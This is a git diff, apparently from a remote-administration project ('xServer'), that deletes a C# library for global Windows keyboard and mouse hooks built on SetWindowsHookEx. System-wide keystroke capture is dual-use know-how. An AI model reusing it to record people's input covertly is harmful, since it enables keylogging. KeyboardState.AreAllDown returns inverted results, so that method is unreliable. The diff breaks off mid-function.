- add { GetMouseListener().MouseDoubleClick += value; } - remove { GetMouseListener().MouseDoubleClick -= value; } - } - - public void Dispose() - { - if (m_MouseListenerCache != null) m_MouseListenerCache.Dispose(); - if (m_KeyListenerCache != null) m_KeyListenerCache.Dispose(); - } - - private KeyListener GetKeyListener() - { - var target = m_KeyListenerCache; - if (target != null) return target; - target = CreateKeyListener(); - m_KeyListenerCache = target; - return target; - } - - private MouseListener GetMouseListener() - { - var target = m_MouseListenerCache; - if (target != null) return target; - target = CreateMouseListener(); - m_MouseListenerCache = target; - return target; - } - - protected abstract MouseListener CreateMouseListener(); - protected abstract KeyListener CreateKeyListener(); - } -} \ No newline at end of file diff --git a/Server/Core/MouseKeyHook/Implementation/GlobalEventFacade.cs b/Server/Core/MouseKeyHook/Implementation/GlobalEventFacade.cs deleted file mode 100644 index 0dfd82f06..000000000 --- a/Server/Core/MouseKeyHook/Implementation/GlobalEventFacade.cs +++ /dev/null @@ -1,19 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -namespace xServer.Core.MouseKeyHook.Implementation -{ - internal class GlobalEventFacade : EventFacade - { - protected override MouseListener CreateMouseListener() - { - return new GlobalMouseListener(); - } - - protected override KeyListener CreateKeyListener() - { - return new GlobalKeyListener(); - } - } -} \ No newline at end of file diff --git a/Server/Core/MouseKeyHook/Implementation/GlobalKeyListener.cs b/Server/Core/MouseKeyHook/Implementation/GlobalKeyListener.cs deleted file mode 100644 index c1d177966..000000000 --- a/Server/Core/MouseKeyHook/Implementation/GlobalKeyListener.cs +++ /dev/null @@ -1,27 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System.Collections.Generic; -using xServer.Core.MouseKeyHook.WinApi; - -namespace xServer.Core.MouseKeyHook.Implementation -{ - internal class GlobalKeyListener : KeyListener - { - public GlobalKeyListener() - : base(HookHelper.HookGlobalKeyboard) - { - } - - protected override IEnumerable GetPressEventArgs(CallbackData data) - { - return KeyPressEventArgsExt.FromRawDataGlobal(data); - } - - protected override KeyEventArgsExt GetDownUpEventArgs(CallbackData data) - { - return KeyEventArgsExt.FromRawDataGlobal(data); - } - } -} \ No newline at end of file diff --git a/Server/Core/MouseKeyHook/Implementation/GlobalMouseListener.cs b/Server/Core/MouseKeyHook/Implementation/GlobalMouseListener.cs deleted file mode 100644 index 5b412a13e..000000000 --- a/Server/Core/MouseKeyHook/Implementation/GlobalMouseListener.cs +++ /dev/null @@ -1,73 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System.Windows.Forms; -using xServer.Core.MouseKeyHook.WinApi; - -namespace xServer.Core.MouseKeyHook.Implementation -{ - internal class GlobalMouseListener : MouseListener - { - private readonly int m_SystemDoubleClickTime; - private MouseButtons m_PreviousClicked; - private Point m_PreviousClickedPosition; - private int m_PreviousClickedTime; - - public GlobalMouseListener() - : base(HookHelper.HookGlobalMouse) - { - m_SystemDoubleClickTime = MouseNativeMethods.GetDoubleClickTime(); - } - - protected override void ProcessDown(ref MouseEventExtArgs e) - { - if (IsDoubleClick(e)) - { - e = e.ToDoubleClickEventArgs(); - } - base.ProcessDown(ref e); - } - - protected override void ProcessUp(ref MouseEventExtArgs e) - { - base.ProcessUp(ref e); - if (e.Clicks == 2) - { - StopDoubleClickWaiting(); - } - - if (e.Clicks == 1) - { - StartDoubleClickWaiting(e); - } - } - - private void StartDoubleClickWaiting(MouseEventExtArgs e) - { - m_PreviousClicked = e.Button; - m_PreviousClickedTime = e.Timestamp; - m_PreviousClickedPosition = e.Point; - } - - private void StopDoubleClickWaiting() - { - m_PreviousClicked = MouseButtons.None; - m_PreviousClickedTime = 0; - m_PreviousClickedPosition = new Point(0, 0); - } - - private bool IsDoubleClick(MouseEventExtArgs e) - { - return - e.Button == m_PreviousClicked && - e.Point == m_PreviousClickedPosition && // Click-move-click exception, see Patch 11222 - e.Timestamp - m_PreviousClickedTime <= m_SystemDoubleClickTime; - } - - protected override MouseEventExtArgs GetEventArgs(CallbackData data) - { - return MouseEventExtArgs.FromRawDataGlobal(data); - } - } -} \ No newline at end of file diff --git a/Server/Core/MouseKeyHook/Implementation/KeyListener.cs b/Server/Core/MouseKeyHook/Implementation/KeyListener.cs deleted file mode 100644 index c345d71ea..000000000 --- a/Server/Core/MouseKeyHook/Implementation/KeyListener.cs +++ /dev/null @@ -1,71 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System.Collections.Generic; -using System.Windows.Forms; -using xServer.Core.MouseKeyHook.WinApi; - -namespace xServer.Core.MouseKeyHook.Implementation -{ - internal abstract class KeyListener : BaseListener, IKeyboardEvents - { - protected KeyListener(Subscribe subscribe) - : base(subscribe) - { - } - - public event KeyEventHandler KeyDown; - public event KeyPressEventHandler KeyPress; - public event KeyEventHandler KeyUp; - - public void InvokeKeyDown(KeyEventArgsExt e) - { - var handler = KeyDown; - if (handler == null || e.Handled || !e.IsKeyDown) - { - return; - } - handler(this, e); - } - - public void InvokeKeyPress(KeyPressEventArgsExt e) - { - var handler = KeyPress; - if (handler == null || e.Handled || e.IsNonChar) - { - return; - } - handler(this, e); - } - - public void InvokeKeyUp(KeyEventArgsExt e) - { - var handler = KeyUp; - if (handler == null || e.Handled || !e.IsKeyUp) - { - return; - } - handler(this, e); - } - - protected override bool Callback(CallbackData data) - { - var eDownUp = GetDownUpEventArgs(data); - var pressEventArgs = GetPressEventArgs(data); - - InvokeKeyDown(eDownUp); - foreach (var pressEventArg in pressEventArgs) - { - InvokeKeyPress(pressEventArg); - } - - InvokeKeyUp(eDownUp); - - return !eDownUp.Handled; - } - - protected abstract IEnumerable GetPressEventArgs(CallbackData data); - protected abstract KeyEventArgsExt GetDownUpEventArgs(CallbackData data); - } -} \ No newline at end of file diff --git a/Server/Core/MouseKeyHook/Implementation/KeyboardState.cs b/Server/Core/MouseKeyHook/Implementation/KeyboardState.cs deleted file mode 100644 index db713f5ea..000000000 --- a/Server/Core/MouseKeyHook/Implementation/KeyboardState.cs +++ /dev/null @@ -1,111 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System; -using System.Collections.Generic; -using System.Windows.Forms; -using xServer.Core.MouseKeyHook.WinApi; - -namespace xServer.Core.MouseKeyHook.Implementation -{ - /// - /// Contains a snapshot of a keyboard state at certain moment and provides methods - /// of querying whether specific keys are pressed or locked. - /// - /// - /// This class is basically a managed wrapper of GetKeyboardState API function - /// http://msdn.microsoft.com/en-us/library/ms646299 - /// - internal class KeyboardState - { - private readonly byte[] m_KeyboardStateNative; - - private KeyboardState(byte[] keyboardStateNative) - { - m_KeyboardStateNative = keyboardStateNative; - } - - /// - /// Makes a snapshot of a keyboard state to the moment of call and returns an - /// instance of class. - /// - /// An instance of class representing a snapshot of keyboard state at certain moment. - public static KeyboardState GetCurrent() - { - byte[] keyboardStateNative = new byte[256]; - KeyboardNativeMethods.GetKeyboardState(keyboardStateNative); - return new KeyboardState(keyboardStateNative); - } - - internal byte[] GetNativeState() - { - return m_KeyboardStateNative; - } - - /// - /// Indicates whether specified key was down at the moment when snapshot was created or not. - /// - /// Key (corresponds to the virtual code of the key) - /// true if key was down, false - if key was up. - public bool IsDown(Keys key) - { - byte keyState = GetKeyState(key); - bool isDown = GetHighBit(keyState); - return isDown; - } - - /// - /// Indicate weather specified key was toggled at the moment when snapshot was created or not. - /// - /// Key (corresponds to the virtual code of the key) - /// - /// true if toggle key like (CapsLock, NumLocke, etc.) was on. false if it was off. - /// Ordinal (non toggle) keys return always false. - /// - public bool IsToggled(Keys key) - { - byte keyState = GetKeyState(key); - bool isToggled = GetLowBit(keyState); - return isToggled; - } - - /// - /// Indicates weather every of specified keys were down at the moment when snapshot was created. - /// The method returns false if even one of them was up. - /// - /// Keys to verify whether they were down or not. - /// true - all were down. false - at least one was up. - public bool AreAllDown(IEnumerable keys) - { - foreach (Keys key in keys) - { - if (!IsDown(key)) - { - return true; - } - } - return false; - } - - private byte GetKeyState(Keys key) - { - int virtualKeyCode = (int) key; - if (virtualKeyCode < 0 || virtualKeyCode > 255) - { - throw new ArgumentOutOfRangeException("key", key, "The value must be between 0 and 255."); - } - return m_KeyboardStateNative[virtualKeyCode]; - } - - private static bool GetHighBit(byte value) - { - return (value >> 7) != 0; - } - - private static bool GetLowBit(byte value) - { - return (value & 1) != 0; - } - } -} \ No newline at end of file diff --git a/Server/Core/MouseKeyHook/Implementation/MouseListener.cs b/Server/Core/MouseKeyHook/Implementation/MouseListener.cs deleted file mode 100644 index d6de2b8c7..000000000 --- a/Server/Core/MouseKeyHook/Implementation/MouseListener.cs +++ /dev/null @@ -1,179 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System; -using System.Windows.Forms; -using xServer.Core.MouseKeyHook.WinApi; - -namespace xServer.Core.MouseKeyHook.Implementation -{ - internal abstract class MouseListener : BaseListener, IMouseEvents - { - private readonly ButtonSet m_DoubleDown; - private readonly ButtonSet m_SingleDown; - private Point m_PreviousPosition; - - protected MouseListener(Subscribe subscribe) - : base(subscribe) - { - m_PreviousPosition = new Point(-1, -1); - m_DoubleDown = new ButtonSet(); - m_SingleDown = new ButtonSet(); - } - - protected override bool Callback(CallbackData data) - { - var e = GetEventArgs(data); - - if (e.IsMouseKeyDown) - { - ProcessDown(ref e); - } - - if (e.IsMouseKeyUp) - { - ProcessUp(ref e); - } - - if (e.WheelScrolled) - { - ProcessWheel(ref e); - } - - if (HasMoved(e.Point)) - { - ProcessMove(ref e); - } - - return !e.Handled; - } - - protected abstract MouseEventExtArgs GetEventArgs(CallbackData data); - - protected virtual void ProcessWheel(ref MouseEventExtArgs e) - { - OnWheel(e); - } - - protected virtual void ProcessDown(ref MouseEventExtArgs e) - { - OnDown(e); - OnDownExt(e); - if (e.Handled) - { - return; - } - - if (e.Clicks == 2) - { - m_DoubleDown.Add(e.Button); - } - - if (e.Clicks == 1) - { - m_SingleDown.Add(e.Button); - } - } - - protected virtual void ProcessUp(ref MouseEventExtArgs e) - { - if (m_SingleDown.Contains(e.Button)) - { - OnUp(e); - OnUpExt(e); - if (e.Handled) - { - return; - } - OnClick(e); - m_SingleDown.Remove(e.Button); - } - - if (m_DoubleDown.Contains(e.Button)) - { - e = e.ToDoubleClickEventArgs(); - OnUp(e); - OnDoubleClick(e); - m_DoubleDown.Remove(e.Button); - } - } - - private void ProcessMove(ref MouseEventExtArgs e) - { - m_PreviousPosition = e.Point; - - OnMove(e); - OnMoveExt(e); - } - - private bool HasMoved(Point actualPoint) - { - return m_PreviousPosition != actualPoint; - } - - public event MouseEventHandler MouseMove; - public event EventHandler MouseMoveExt; - public event MouseEventHandler MouseClick; - public event MouseEventHandler MouseDown; - public event EventHandler MouseDownExt; - public event MouseEventHandler MouseUp; - public event EventHandler MouseUpExt; - public event MouseEventHandler MouseWheel; - public event MouseEventHandler MouseDoubleClick; - - protected virtual void OnMove(MouseEventArgs e) - { - var handler = MouseMove; - if (handler != null) handler(this, e); - } - - protected virtual void OnMoveExt(MouseEventExtArgs e) - { - var handler = MouseMoveExt; - if (handler != null) handler(this, e); - } - - protected virtual void OnClick(MouseEventArgs e) - { - var handler = MouseClick; - if (handler != null) handler(this, e); - } - - protected virtual void OnDown(MouseEventArgs e) - { - var handler = MouseDown; - if (handler != null) handler(this, e); - } - - protected virtual void OnDownExt(MouseEventExtArgs e) - { - var handler = MouseDownExt; - if (handler != null) handler(this, e); - } - - protected virtual void OnUp(MouseEventArgs e) - { - var handler = MouseUp; - if (handler != null) handler(this, e); - } - - protected virtual void OnUpExt(MouseEventExtArgs e) - { - var handler = MouseUpExt; - if (handler != null) handler(this, e); - } - - protected virtual void OnWheel(MouseEventArgs e) - { - var handler = MouseWheel; - if (handler != null) handler(this, e); - } - - protected virtual void OnDoubleClick(MouseEventArgs e) - { - var handler = MouseDoubleClick; - if (handler != null) handler(this, e); - } - } -} \ No newline at end of file diff --git a/Server/Core/MouseKeyHook/Implementation/Subscribe.cs b/Server/Core/MouseKeyHook/Implementation/Subscribe.cs deleted file mode 100644 index acb75124d..000000000 --- a/Server/Core/MouseKeyHook/Implementation/Subscribe.cs +++ /dev/null @@ -1,10 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using xServer.Core.MouseKeyHook.WinApi; - -namespace xServer.Core.MouseKeyHook.Implementation -{ - internal delegate HookResult Subscribe(Callback callbck); -} \ No newline at end of file diff --git a/Server/Core/MouseKeyHook/KeyEventArgsExt.cs b/Server/Core/MouseKeyHook/KeyEventArgsExt.cs deleted file mode 100644 index e2b1f9e3f..000000000 --- a/Server/Core/MouseKeyHook/KeyEventArgsExt.cs +++ /dev/null @@ -1,128 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System; -using System.Runtime.InteropServices; -using System.Windows.Forms; -using xServer.Core.MouseKeyHook.Implementation; -using xServer.Core.MouseKeyHook.WinApi; - -namespace xServer.Core.MouseKeyHook -{ - /// - /// Provides extended argument data for the or - /// event. - /// - public class KeyEventArgsExt : KeyEventArgs - { - /// - /// Initializes a new instance of the class. - /// - /// - public KeyEventArgsExt(Keys keyData) - : base(keyData) - { - } - - internal KeyEventArgsExt(Keys keyData, int timestamp, bool isKeyDown, bool isKeyUp) - : this(keyData) - { - Timestamp = timestamp; - IsKeyDown = isKeyDown; - IsKeyUp = isKeyUp; - } - - /// - /// The system tick count of when the event occurred. - /// - public int Timestamp { get; private set; } - - /// - /// True if event signals key down.. - /// - public bool IsKeyDown { get; private set; } - - /// - /// True if event signals key up. - /// - public bool IsKeyUp { get; private set; } - - internal static KeyEventArgsExt FromRawDataApp(CallbackData data) - { - var wParam = data.WParam; - var lParam = data.LParam; - - //http://msdn.microsoft.com/en-us/library/ms644984(v=VS.85).aspx - - const uint maskKeydown = 0x40000000; // for bit 30 - const uint maskKeyup = 0x80000000; // for bit 31 - - int timestamp = Environment.TickCount; - - var flags = (uint) lParam.ToInt64(); - - //bit 30 Specifies the previous key state. The value is 1 if the key is down before the message is sent; it is 0 if the key is up. - bool wasKeyDown = (flags & maskKeydown) > 0; - //bit 31 Specifies the transition state. The value is 0 if the key is being pressed and 1 if it is being released. - bool isKeyReleased = (flags & maskKeyup) > 0; - - Keys keyData = AppendModifierStates((Keys) wParam); - - bool isKeyDown = !wasKeyDown && !isKeyReleased; - bool isKeyUp = wasKeyDown && isKeyReleased; - - return new KeyEventArgsExt(keyData, timestamp, isKeyDown, isKeyUp); - } - - internal static KeyEventArgsExt FromRawDataGlobal(CallbackData data) - { - var wParam = data.WParam; - var lParam = data.LParam; - var keyboardHookStruct = - (KeyboardHookStruct) Marshal.PtrToStructure(lParam, typeof (KeyboardHookStruct)); - var keyData = AppendModifierStates((Keys) keyboardHookStruct.VirtualKeyCode); - - var keyCode = (int) wParam; - bool isKeyDown = (keyCode == Messages.WM_KEYDOWN || keyCode == Messages.WM_SYSKEYDOWN); - bool isKeyUp = (keyCode == Messages.WM_KEYUP || keyCode == Messages.WM_SYSKEYUP); - - return new KeyEventArgsExt(keyData, keyboardHookStruct.Time, isKeyDown, isKeyUp); - } - - // # It is not possible to distinguish Keys.LControlKey and Keys.RControlKey when they are modifiers - // Check for Keys.Control instead - // Same for Shift and Alt(Menu) - // See more at http://www.tech-archive.net/Archive/DotNet/microsoft.public.dotnet.framework.windowsforms/2008-04/msg00127.html # - - // A shortcut to make life easier - private static bool CheckModifier(int vKey) - { - return (KeyboardNativeMethods.GetKeyState(vKey) & 0x8000) > 0; - } - - private static Keys AppendModifierStates(Keys keyData) - { - // Is Control being held down? - bool control = CheckModifier(KeyboardNativeMethods.VK_CONTROL); - // Is Shift being held down? - bool shift = CheckModifier(KeyboardNativeMethods.VK_SHIFT); - // Is Alt being held down? - bool alt = CheckModifier(KeyboardNativeMethods.VK_MENU); - - // Windows keys - // # combine LWin and RWin key with other keys will potentially corrupt the data - // notable F5 | Keys.LWin == F12, see https://globalmousekeyhook.codeplex.com/workitem/1188 - // and the KeyEventArgs.KeyData don't recognize combined data either - - // Function (Fn) key - // # CANNOT determine state due to conversion inside keyboard - // See http://en.wikipedia.org/wiki/Fn_key#Technical_details # - - return keyData | - (control ? Keys.Control : Keys.None) | - (shift ? Keys.Shift : Keys.None) | - (alt ? Keys.Alt : Keys.None); - } - } -} \ No newline at end of file diff --git a/Server/Core/MouseKeyHook/KeyPressEventArgsExt.cs b/Server/Core/MouseKeyHook/KeyPressEventArgsExt.cs deleted file mode 100644 index 0bcb6f01e..000000000 --- a/Server/Core/MouseKeyHook/KeyPressEventArgsExt.cs +++ /dev/null @@ -1,119 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System; -using System.Collections.Generic; -using System.Runtime.InteropServices; -using System.Windows.Forms; -using xServer.Core.MouseKeyHook.Implementation; -using xServer.Core.MouseKeyHook.WinApi; - -namespace xServer.Core.MouseKeyHook -{ - /// - /// Provides extended data for the event. - /// - public class KeyPressEventArgsExt : KeyPressEventArgs - { - internal KeyPressEventArgsExt(char keyChar, int timestamp) - : base(keyChar) - { - IsNonChar = keyChar == (char) 0x0; - Timestamp = timestamp; - } - - /// - /// Initializes a new instance of the class. - /// - /// - /// Character corresponding to the key pressed. 0 char if represents a system or functional non char - /// key. - /// - public KeyPressEventArgsExt(char keyChar) - : this(keyChar, Environment.TickCount) - { - } - - /// - /// True if represents a system or functional non char key. - /// - public bool IsNonChar { get; private set; } - - /// - /// The system tick count of when the event occurred. - /// - public int Timestamp { get; private set; } - - internal static IEnumerable FromRawDataApp(CallbackData data) - { - var wParam = data.WParam; - var lParam = data.LParam; - - //http://msdn.microsoft.com/en-us/library/ms644984(v=VS.85).aspx - - const uint maskKeydown = 0x40000000; // for bit 30 - const uint maskKeyup = 0x80000000; // for bit 31 - const uint maskScanCode = 0xff0000; // for bit 23-16 - - var flags = (uint) lParam.ToInt64(); - - //bit 30 Specifies the previous key state. The value is 1 if the key is down before the message is sent; it is 0 if the key is up. - var wasKeyDown = (flags & maskKeydown) > 0; - //bit 31 Specifies the transition state. The value is 0 if the key is being pressed and 1 if it is being released. - var isKeyReleased = (flags & maskKeyup) > 0; - - if (!wasKeyDown && !isKeyReleased) - { - yield break; - } - - var virtualKeyCode = (int) wParam; - var scanCode = checked((int) (flags & maskScanCode)); - const int fuState = 0; - - char[] chars; - - KeyboardNativeMethods.TryGetCharFromKeyboardState(virtualKeyCode, scanCode, fuState, out chars); - if (chars == null) yield break; - foreach (var ch in chars) - { - yield return new KeyPressEventArgsExt(ch); - } - } - - internal static IEnumerable FromRawDataGlobal(CallbackData data) - { - var wParam = data.WParam; - var lParam = data.LParam; - - if ((int) wParam != Messages.WM_KEYDOWN) - { - yield break; - } - - KeyboardHookStruct keyboardHookStruct = - (KeyboardHookStruct) Marshal.PtrToStructure(lParam, typeof (KeyboardHookStruct)); - - var virtualKeyCode = keyboardHookStruct.VirtualKeyCode; - var scanCode = keyboardHookStruct.ScanCode; - var fuState = keyboardHookStruct.Flags; - - if (virtualKeyCode == KeyboardNativeMethods.VK_PACKET) - { - var ch = (char) scanCode; - yield return new KeyPressEventArgsExt(ch, keyboardHookStruct.Time); - } - else - { - char[] chars; - KeyboardNativeMethods.TryGetCharFromKeyboardState(virtualKeyCode, scanCode, fuState, out chars); - if (chars == null) yield break; - foreach (var current in chars) - { - yield return new KeyPressEventArgsExt(current, keyboardHookStruct.Time); - } - } - } - } -} \ No newline at end of file diff --git a/Server/Core/MouseKeyHook/MouseEventExtArgs.cs b/Server/Core/MouseKeyHook/MouseEventExtArgs.cs deleted file mode 100644 index 86c719cc3..000000000 --- a/Server/Core/MouseKeyHook/MouseEventExtArgs.cs +++ /dev/null @@ -1,211 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System; -using System.Runtime.InteropServices; -using System.Windows.Forms; -using xServer.Core.MouseKeyHook.WinApi; - -namespace xServer.Core.MouseKeyHook -{ - /// - /// Provides extended data for the MouseClickExt and MouseMoveExt events. - /// - public class MouseEventExtArgs : MouseEventArgs - { - /// - /// Initializes a new instance of the class. - /// - /// One of the MouseButtons values indicating which mouse button was pressed. - /// The number of times a mouse button was pressed. - /// The x and y -coordinate of a mouse click, in pixels. - /// A signed count of the number of detents the wheel has rotated. - /// The system tick count when the event occurred. - /// True if event signals mouse button down. - /// True if event signals mouse button up. - internal MouseEventExtArgs(MouseButtons buttons, int clicks, Point point, int delta, int timestamp, - bool isMouseKeyDown, bool isMouseKeyUp) - : base(buttons, clicks, point.X, point.Y, delta) - { - IsMouseKeyDown = isMouseKeyDown; - IsMouseKeyUp = isMouseKeyUp; - Timestamp = timestamp; - } - - /// - /// Set this property to true inside your event handler to prevent further processing of the event in other - /// applications. - /// - public bool Handled { get; set; } - - /// - /// True if event contains information about wheel scroll. - /// - public bool WheelScrolled - { - get { return Delta != 0; } - } - - /// - /// True if event signals a click. False if it was only a move or wheel scroll. - /// - public bool Clicked - { - get { return Clicks > 0; } - } - - /// - /// True if event signals mouse button down. - /// - public bool IsMouseKeyDown { get; private set; } - - /// - /// True if event signals mouse button up. - /// - public bool IsMouseKeyUp { get; private set; } - - /// - /// The system tick count of when the event occurred. - /// - public int Timestamp { get; private set; } - - /// - /// - internal Point Point - { - get { return new Point(X, Y); } - } - - internal static MouseEventExtArgs FromRawDataApp(CallbackData data) - { - var wParam = data.WParam; - var lParam = data.LParam; - - AppMouseStruct marshalledMouseStruct = - (AppMouseStruct) Marshal.PtrToStructure(lParam, typeof (AppMouseStruct)); - return FromRawDataUniversal(wParam, marshalledMouseStruct.ToMouseStruct()); - } - - internal static MouseEventExtArgs FromRawDataGlobal(CallbackData data) - { - var wParam = data.WParam; - var lParam = data.LParam; - - MouseStruct marshalledMouseStruct = (MouseStruct) Marshal.PtrToStructure(lParam, typeof (MouseStruct)); - return FromRawDataUniversal(wParam, marshalledMouseStruct); - } - - /// - /// Creates from relevant mouse data. - /// - /// First Windows Message parameter. - /// A MouseStruct containing information from which to construct MouseEventExtArgs. - /// A new MouseEventExtArgs object. - private static MouseEventExtArgs FromRawDataUniversal(IntPtr wParam, MouseStruct mouseInfo) - { - MouseButtons button = MouseButtons.None; - short mouseDelta = 0; - int clickCount = 0; - - bool isMouseKeyDown = false; - bool isMouseKeyUp = false; - - - switch ((long) wParam) - { - case Messages.WM_LBUTTONDOWN: - isMouseKeyDown = true; - button = MouseButtons.Left; - clickCount = 1; - break; - case Messages.WM_LBUTTONUP: - isMouseKeyUp = true; - button = MouseButtons.Left; - clickCount = 1; - break; - case Messages.WM_LBUTTONDBLCLK: - isMouseKeyDown = true; - button = MouseButtons.Left; - clickCount = 2; - break; - case Messages.WM_RBUTTONDOWN: - isMouseKeyDown = true; - button = MouseButtons.Right; - clickCount = 1; - break; - case Messages.WM_RBUTTONUP: - isMouseKeyUp = true; - button = MouseButtons.Right; - clickCount = 1; - break; - case Messages.WM_RBUTTONDBLCLK: - isMouseKeyDown = true; - button = MouseButtons.Right; - clickCount = 2; - break; - case Messages.WM_MBUTTONDOWN: - isMouseKeyDown = true; - button = MouseButtons.Middle; - clickCount = 1; - break; - case Messages.WM_MBUTTONUP: - isMouseKeyUp = true; - button = MouseButtons.Middle; - clickCount = 1; - break; - case Messages.WM_MBUTTONDBLCLK: - isMouseKeyDown = true; - button = MouseButtons.Middle; - clickCount = 2; - break; - case Messages.WM_MOUSEWHEEL: - mouseDelta = mouseInfo.MouseData; - break; - case Messages.WM_XBUTTONDOWN: - button = mouseInfo.MouseData == 1 - ? MouseButtons.XButton1 - : MouseButtons.XButton2; - isMouseKeyDown = true; - clickCount = 1; - break; - - case Messages.WM_XBUTTONUP: - button = mouseInfo.MouseData == 1 - ? MouseButtons.XButton1 - : MouseButtons.XButton2; - isMouseKeyUp = true; - clickCount = 1; - break; - - case Messages.WM_XBUTTONDBLCLK: - isMouseKeyDown = true; - button = mouseInfo.MouseData == 1 - ? MouseButtons.XButton1 - : MouseButtons.XButton2; - clickCount = 2; - break; - - case Messages.WM_MOUSEHWHEEL: - mouseDelta = mouseInfo.MouseData; - break; - } - - var e = new MouseEventExtArgs( - button, - clickCount, - mouseInfo.Point, - mouseDelta, - mouseInfo.Timestamp, - isMouseKeyDown, - isMouseKeyUp); - - return e; - } - - internal MouseEventExtArgs ToDoubleClickEventArgs() - { - return new MouseEventExtArgs(Button, 2, Point, Delta, Timestamp, IsMouseKeyDown, IsMouseKeyUp); - } - } -} \ No newline at end of file diff --git a/Server/Core/MouseKeyHook/WinApi/AppMouseStruct.cs b/Server/Core/MouseKeyHook/WinApi/AppMouseStruct.cs deleted file mode 100644 index cfa855437..000000000 --- a/Server/Core/MouseKeyHook/WinApi/AppMouseStruct.cs +++ /dev/null @@ -1,66 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System; -using System.Runtime.InteropServices; - -namespace xServer.Core.MouseKeyHook.WinApi -{ - /// - /// The AppMouseStruct structure contains information about a application-level mouse input event. - /// - /// - /// See full documentation at http://globalmousekeyhook.codeplex.com/wikipage?title=MouseStruct - /// - [StructLayout(LayoutKind.Explicit)] - internal struct AppMouseStruct - { - /// - /// Specifies a Point structure that contains the X- and Y-coordinates of the cursor, in screen coordinates. - /// - [FieldOffset(0x00)] public Point Point; - - /// - /// Specifies information associated with the message. - /// - /// - /// The possible values are: - /// - /// - /// 0 - No Information - /// - /// - /// 1 - X-Button1 Click - /// - /// - /// 2 - X-Button2 Click - /// - /// - /// 120 - Mouse Scroll Away from User - /// - /// - /// -120 - Mouse Scroll Toward User - /// - /// - /// - [FieldOffset(0x16)] public Int16 MouseData_x86; - [FieldOffset(0x22)] public Int16 MouseData_x64; - - /// - /// Converts the current into a . - /// - /// - /// - /// The AppMouseStruct does not have a timestamp, thus one is generated at the time of this call. - /// - public MouseStruct ToMouseStruct() - { - MouseStruct tmp = new MouseStruct(); - tmp.Point = Point; - tmp.MouseData = (IntPtr.Size == 4) ? MouseData_x86 : MouseData_x64; - tmp.Timestamp = Environment.TickCount; - return tmp; - } - } -} \ No newline at end of file diff --git a/Server/Core/MouseKeyHook/WinApi/CallbackData.cs b/Server/Core/MouseKeyHook/WinApi/CallbackData.cs deleted file mode 100644 index 028521376..000000000 --- a/Server/Core/MouseKeyHook/WinApi/CallbackData.cs +++ /dev/null @@ -1,30 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System; - -namespace xServer.Core.MouseKeyHook.WinApi -{ - internal struct CallbackData - { - private readonly IntPtr m_LParam; - private readonly IntPtr m_WParam; - - public CallbackData(IntPtr wParam, IntPtr lParam) - { - m_WParam = wParam; - m_LParam = lParam; - } - - public IntPtr WParam - { - get { return m_WParam; } - } - - public IntPtr LParam - { - get { return m_LParam; } - } - } -} \ No newline at end of file diff --git a/Server/Core/MouseKeyHook/WinApi/HookHelper.cs b/Server/Core/MouseKeyHook/WinApi/HookHelper.cs deleted file mode 100644 index f559f7efa..000000000 --- a/Server/Core/MouseKeyHook/WinApi/HookHelper.cs +++ /dev/null @@ -1,101 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Runtime.InteropServices; -using xServer.Core.MouseKeyHook.Implementation; - -namespace xServer.Core.MouseKeyHook.WinApi -{ - internal static class HookHelper - { - public static HookResult HookAppMouse(Callback callback) - { - return HookApp(HookIds.WH_MOUSE, callback); - } - - public static HookResult HookAppKeyboard(Callback callback) - { - return HookApp(HookIds.WH_KEYBOARD, callback); - } - - public static HookResult HookGlobalMouse(Callback callback) - { - return HookGlobal(HookIds.WH_MOUSE_LL, callback); - } - - public static HookResult HookGlobalKeyboard(Callback callback) - { - return HookGlobal(HookIds.WH_KEYBOARD_LL, callback); - } - - private static HookResult HookApp(int hookId, Callback callback) - { - HookProcedure hookProcedure = (code, param, lParam) => HookProcedure(code, param, lParam, callback); - - var hookHandle = HookNativeMethods.SetWindowsHookEx( - hookId, - hookProcedure, - IntPtr.Zero, - ThreadNativeMethods.GetCurrentThreadId()); - - if (hookHandle.IsInvalid) - { - ThrowLastUnmanagedErrorAsException(); - } - - return new HookResult(hookHandle, hookProcedure); - } - - private static HookResult HookGlobal(int hookId, Callback callback) - { - HookProcedure hookProcedure = (code, param, lParam) => HookProcedure(code, param, lParam, callback); - - var hookHandle = HookNativeMethods.SetWindowsHookEx( - hookId, - hookProcedure, - Process.GetCurrentProcess().MainModule.BaseAddress, - 0); - - if (hookHandle.IsInvalid) - { - ThrowLastUnmanagedErrorAsException(); - } - - return new HookResult(hookHandle, hookProcedure); - } - - private static IntPtr HookProcedure(int nCode, IntPtr wParam, IntPtr lParam, Callback callback) - { - var passThrough = nCode != 0; - if (passThrough) - { - return CallNextHookEx(nCode, wParam, lParam); - } - - var callbackData = new CallbackData(wParam, lParam); - var continueProcessing = callback(callbackData); - - if (!continueProcessing) - { - return new IntPtr(-1); - } - 